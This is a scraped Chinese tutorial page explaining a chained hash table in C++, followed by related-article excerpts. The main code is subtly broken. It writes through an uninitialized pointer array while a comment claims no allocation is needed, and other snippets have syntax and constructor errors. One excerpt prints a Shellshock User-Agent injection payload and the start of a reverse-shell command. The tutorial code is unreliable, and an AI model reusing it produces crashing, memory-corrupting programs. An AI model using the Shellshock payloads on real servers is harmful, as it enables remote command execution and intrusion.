Hash表的简单实现

article/2025/9/17 16:53:06

Hash表的定义

哈希表(Hash table,也叫散列表),是根据关键字值(key)直接进行访问的数据结构,它通过把关键字值 映射到表中一个位置 (数组下标 )来直接访问,以加快查找 关键字值的速度。这个映射函数叫做 哈希(散列)函数,存放记录的数组 叫做哈希 ( )(散列)表。 给定表M,存在函数f(key),对任意的关键字值key,代入函数后若能得到包含该 关键字的表中地址,称表M为哈希(Hash)表,函数f(key)为哈希(Hash) 函数。

拉链法解决冲突

将所有哈希函数 结果相同的结点连接在 同一个 单链表中。若选定的哈希表 长度为m,则可将哈希表定义为一 个长度为 m的指针数组t[0..m-1],指针数组中的每 个指针指向哈希函数结果相同的单链表。 插入value:将元素value插入哈希表,若元素 value的哈希函数 值为hash_key,将value对应的节点以 头插法的方 式插入到以t[hash_key]为头指针的单链表中。 查找value:若元素 value的哈希函数值 为hash_key,遍历以 t[hash_key]为头指针的单链表,查找链表各个节点的值域是否为value。

要点总结1:结构体变量的初始化

理解初始化方法ListNode():   {}

struct ListNode{
    int val;
    ListNode *next;
    ListNode(int x,int y): val(x),next(NULL){}//通过这种方法创建出来的是指针
};

ListNode a = {3,2};//作用是将3赋值给上面(int x,int y)中的x,将2赋值给y

要点总结2:定义指针数组的两种形式

定义指针数组的时候,有两种形式。一种是使用指针的形式,这时需要使用两个指针符号,即**。另一种是数组的形式。

指针的形式

    const int TABLE_LEN = 11;

    ListNode **hash_table = (ListNode **)malloc(TABLE_LEN * sizeof(ListNode *));

//在上一行代码中,只是进行了堆分配内存,并没有初始化这些内存,初始化方法如下。如果不进行初始化,那么就埋下了一个隐患或者bug。

    for(int i=0;i<TABLE_LEN;i++){

        *(hash_table + i) = 0;//这里 = 0和= NULL的效果是相同的

    }

数组的形式定义指针数组,也就是说,使用另一种方法定义指针数组:

const int TABLE_LEN 11;

ListNode *hash_table[TABLE_LEN] = {0};

= {0}的作用相当于将数组中的每一个原素进行了初始化,或者赋予了初始值。

由以上分析可知,使用数组的形式定义指针数组更加方便和快捷。

代码

输出的结果

coding

#include<iostream>
#include<vector>
struct ListNode{int val;ListNode *next;ListNode(int x): val(x),next(NULL){}//通过这种方法创建出来的是指针
};
int hash_func(int key,int table_len){return key % table_len;//整数h哈希函数,h直接取余
}//插入的是一个节点
void insert(ListNode **hash_table,ListNode *node,int table_len){int hash_key = hash_func(node->val,table_len);node->next = *(hash_table + hash_key);//使用头插法插入节点*(hash_table + hash_key) = node;
}//寻找的不是一个节点,而是节点内部的一个值
bool search(ListNode **hash_table,int value,int table_len){int hash_key = hash_func(value,table_len);ListNode *head = *(hash_table + hash_key);while(head){if(head->val == value){return true;}head = head->next;}return false;
}
int main(int argc, const char * argv[]) {const int TABLE_LEN = 11;//这里不需要分配内存,因为在insert函数执行的时候进行了分配内存的操作//ListNode **hash_table = (ListNode **)malloc(TABLE_LEN * sizeof(ListNode *));ListNode **hash_table;for(int i=0;i<TABLE_LEN;i++){*(hash_table + i) = 0;}std::vector<ListNode *> hash_node_vec;int test[8] = {1,1,4,9,20,30,150,500};for(int i=0;i<8;i++){hash_node_vec.push_back(new ListNode(test[i]));}for(int i=0;i<hash_node_vec.size();i++){insert(hash_table, hash_node_vec[i], TABLE_LEN);}printf("Hash table:\n");for(int i=0;i<TABLE_LEN;i++){printf("[%d]:",i);ListNode *head = *(hash_table + i);while(head){printf("->%d",head->val);head = head->next;}printf("\n");}printf("\n");printf("Test search:\n");for(int i=0;i<10;i++){if(search(hash_table, i, TABLE_LEN)){printf("%d is in the hash table.\n",i);}else{printf("%d is not in the hash table.\n",i);}}return 0;
}

 


http://chatgpt.dhexx.cn/article/uNLVYReq.shtml

相关文章

数据结构之Hash表(哈希表)

参考书籍&#xff1a;大话数据结构 一、Hash表定义 在记录的存储位置和它的关键字之间建立一个确定的对应关系f&#xff0c;使得每个关键字key对应一个存储位置。查找的时候&#xff0c;根据这个确定的对应关系找到给定值key的映射f(key)。 类似于中学数学中的函数&#xff0c;…

python hash表

在查找过程中不经过关键字的比较. 在待查的关键字值和它的存储位置之间建立一个确定的对应关系,则查找时不必再进行关键字值间的比较. 根据设定的哈希函数以及处理冲突的方法将查找表中各个数据元素存储在一段有限的连续空间中.即获得哈希表. 简单理解把key值通过函数映射为一…

hash表和hashmap

hash表和hashmap 一、哈希表 哈希(hash)表&#xff1a;在哈希表中进行添加&#xff0c;删除&#xff0c;查找等操作&#xff0c;性能十分之高&#xff0c;不考虑哈希冲突的情况下&#xff08;后面会探讨下哈希冲突的情况&#xff09;&#xff0c;仅需一次定位即可完成&#xf…

hash表(学习笔记)

hash表又叫散列表&#xff0c;是一种用来存放数据的数据结构。用于快速查询 hash表就是一种数组&#xff0c;输入关键字&#xff0c;通过hash函数得到&#xff0c;对应数据的下标。&#xff08;hash值就是下标&#xff09; hash函数根据关键字设计&#xff0c;主要原理&#…

Hash表(C语言)

一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单元地址&#xff08;即下标&#xff09;&…

什么是Hash表

1.定义 Hash&#xff08;散列/哈希&#xff09;&#xff0c;就是把任意长度的输入&#xff08;又叫做预映射&#xff0c; pre-image&#xff09;&#xff0c;通过散列算法&#xff0c;变换成固定长度的输出&#xff0c;该输出就是散列值。这种转换是一种压缩映射&#xff0c;也…

HASH表的创建(C语言)

HASH表的创建&#xff08;C语言&#xff09; 一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单…

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法&#xff0c;是一类算法&#xff1b;哈希表&#xff08;Hash Table&#xff09;是一种数据结构&#xff1b;哈希函数&#xff0c;是支撑哈希表的一类函数&#xff1b;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数&#xff1b; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表&#xff08;Hash table&#xff0c;也叫散列表&#xff09;&#xff0c;所谓hash表&#xff0c;就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说&#xff0c;它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表&#xff08;Hash table&#xff0c;也叫哈希表&#xff09;&#xff0c;是根据键&#xff08;Key&#xff09;而直接访问在内存存储位置的数据结构。也就是说&#xff0c;它通过计算一个关于键值的函数&#xff0c;将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接&#xff1a;数据结构&#xff08;严蔚敏&#xff09; 文章发布很久了&#xff0c;具体细节已经不清晰了&#xff0c;不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍&#xff1a; Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

bash(CVE-2014-6271) shellshock-破壳漏洞复现

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

pwnable-shellshock

文章目录 概述题目题目描述连接信息基本信息查看源代码源代码分析题目解法 概述 pwnable是一个经典的CTF中PWN方向练习的专业网站&#xff0c;本文记录的题目是shellshock&#xff0c;主要考察的是破壳漏洞的利用。 题目 题目描述 题目提示 there was a shocking news about…